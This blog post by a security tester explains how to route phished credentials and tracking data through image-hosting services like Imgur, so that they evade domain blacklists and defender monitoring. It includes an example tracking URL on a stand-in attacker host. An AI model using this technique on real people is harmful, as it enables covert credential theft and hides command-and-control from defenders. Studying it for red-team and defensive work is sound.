Proxying Exfil Data Through Images

Curtis Brazzell
6 min readJul 18, 2020

Intro

On the heels of my last blog when I discovered how to prevent all of my phishing emails from landing on any blacklists, I realized that sometimes Gmail, Microsoft 365, and possibly other email providers will mark an email as suspicious simply because an embedded tracking pixel doesn’t really reference an image at all. What if there was a way to reference a real image but also pass parameters through to a back-end? What if you could use trusted third party image hosting services at places like Google and Imgur to relay information across? Aside from phishing, maybe this same concept be used to avoid domain blacklists, Content Security Policies, and strict content filtering egress rules!

Some Background

An old trick used in both phishing and marketing campaigns everywhere is to use an HTML image tag that references a remote resource containing server-side code to log metrics, or even potentially capture hashes. These “images” are not really images at all and are rendered broken, but they’re designed to be invisible by typically only being 1 x 1 pixel in size. If images are rendered in your inbox by default (consider disabling this), the browser will make a subtle request to the sender to collect analytics about you such as your IP address, browser, OS, etc. The request may look something like this:

URL Containing Parameters to Identify the Campaign and the Target Recipient

In the example above, Gmail seems smart enough to recognize that this really isn’t an image at all and will (sometimes) mark the email as suspicious, showing the recipient a banner with a yellow warning message.

The Idea

Obviously you can’t pass parameters to a real image, but what if the server-side code at the URL above accepted the input from the parameters and responded with a content-type of a valid image instead? In my experiments this seemed to be more successful and I haven’t checked, but I’m assuming this is what marketing companies do instead of referencing URLs that aren’t really images in image tags. (Someone fact check me here)

Example of Server-Side Code Responding With a 1 x 1 Pixel Image and Throwing Input Into a Database

So all of this got me thinking, what would happen if I plugged my image address into sites that get third-party images from URLs? Immediately sites like Google Image, Imgur, Imgflip, and unfurling services such as Twitter, Slack, LinkedIn, etc came to mind. Some server-side process must make a call out to these images to display them. I figured it would be interesting to see what data I could collect from them.

So, I tried it. I first tried with Google and Imgur. Both failed me because, as we teach in Web Application Security, you should really filter file types based on their content types as well as extensions, and these services didn’t bother with my “index.php” page. I understood that web services have default files they look for in a web directory like “index” and “default”, so I created a “img.png” directory and put my index.php file in it. It worked! Now the URL looked like this:

https://tracking.attacker.com/img.png?campaign_id=1123627&name=Bob

Cool! I’m sure I’m probably not the first to do something like this, but I just thought it was crazy to think that I could leverage server-side code along with a misleading URI syntax to make a request receive input and respond to any expected file type, as if everything is normal. Then after the excitement wore off I realized the same could be done by simply tailing web service logs.

Google Image Search by URL

Taking Things Further

I modified the PHP to integrate with my private Slack channel, like I always like to do with my experiments, so I could see the live data coming back from any requests to that URL. When I plugged it into the Google Image search (by URL), I realized Google must fetch the URL for each character at a time as its typed, similar to how their normal web search functions. This resulted in multiple requests and reminded me very much of a key logger. Maybe I could write some JavaScript and send a request to Google with my image URL for each key press! I tried this but Google does a great job of using unique guids to thwart automation and I gave up. However, Imgur (and a handful of other services I tested) allows for an unauthenticated user to simply make a POST request to their API with the URL in the body of the request. From what I could tell there was no rate limiting, or I didn’t reach the threshold yet, so I determined this was a great API to leverage for testing.

Testing via Google Search in a Keylogger Scenario
Unauthenticated Imgur Image URL Upload Functionality (What the UI Normally Looks Like)

As interesting as this seemed to be, its not a security vulnerability. (Although I’m shocked Imgur allows for unauthenticated, unlimited requests with no CSRF protection) However, it occurred to me that this could be useful in situations during a red team engagement when you need to exfil data, such as credentials, to a location that’s trusted. This reminds me of using redirectors to obfuscate your true C2 server in these types of engagements, like DNS fronting. It also made me think about the phishing exercises I do when I post credentials to a remote phishing API and I don’t want that API being discovered, either through network monitoring or through web inspection.

We have to be careful what we send, since the data could include client information, but there’s no reason someone couldn’t post credentials directly to a remote image service and look perfectly legitimate for a web resource to request that. Also, since it’s HTTPS the URI is encrypted as well so the parameters aren’t visible over the wire. I rewrote the JavaScript I had previously written for PhishAPI and instead made it post first to Imgur, then I could receive the alerts and credentials from my API after it had been proxied. All Imgur ended up saving was a series of white dots. 😆

Form Data Being Posted to the Imgur API via a JS XHR POST
The Data Makes it Back to Slack and My Web Interface for the Database Contains my Credentials!

In Conclusion

We can now proxy credentials through any image service, in theory, without having to call the API directly and without giving up our “C2 server”. If the C2 server was detected as a blacklisted host or was showing up on the Blue Team’s Newly Observed Domain (NOD) list, this would bypass that detection because it’s going to a JSON API owned by Imgur. The victim wouldn’t get a browser warning that the site they’re making a request to is malicious. I don’t think many people are going to suspect an image service as being a malicious C2 channel.

The data is a one-way-street in this scenario. Unfortunately, there doesn’t seem to be a way to retrieve data back, unless you hid data in the EXIF metadata of an image and extracted it back out, otherwise you’d corrupt the image itself. From my testing I could also get a lot of data into a single request and as I said before, there was no rate limiting, so you could theoretically send entire payloads or binaries across. I can’t help but think there’s a bigger, better use for this other than a discrete keylogger or exfil technique so, if you think of something please share! :)

Thanks for reading!

--

--

Curtis Brazzell

Passionate geek for Information/Cyber Security! I’m always learning and am happy to contribute anything I can share with the community. Follow me @ Twitter!